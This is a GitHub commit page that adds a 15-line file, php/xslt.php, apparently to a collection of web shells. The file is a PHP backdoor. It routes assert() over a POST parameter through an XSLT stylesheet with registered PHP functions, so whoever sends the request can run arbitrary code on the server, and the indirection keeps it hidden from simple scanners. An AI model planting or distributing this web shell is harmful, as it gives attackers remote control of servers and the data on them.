Skip to content

Commit

Permalink
Create xslt.php
Browse files Browse the repository at this point in the history
  • Loading branch information
tennc committed May 16, 2015
1 parent 69d5a36 commit 6652171
Showing 1 changed file with 15 additions and 0 deletions.
15 changes: 15 additions & 0 deletions php/xslt.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
<?php
$xml='<root>assert($_POST[a]);</root>';
$xsl='<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:zcg="http://php.net/xsl">
<xsl:template match="/root">
<xsl:value-of select="zcg:function(\'assert\',string(.))"/>
</xsl:template>
</xsl:stylesheet>';
$xmldoc = DOMDocument::loadXML($xml);
$xsldoc = DOMDocument::loadXML($xsl);
$proc = new XSLTProcessor();
$proc->registerPHPFunctions();
$proc->importStyleSheet($xsldoc);
$proc->transformToXML($xmldoc);
?>

0 comments on commit 6652171

Please sign in to comment.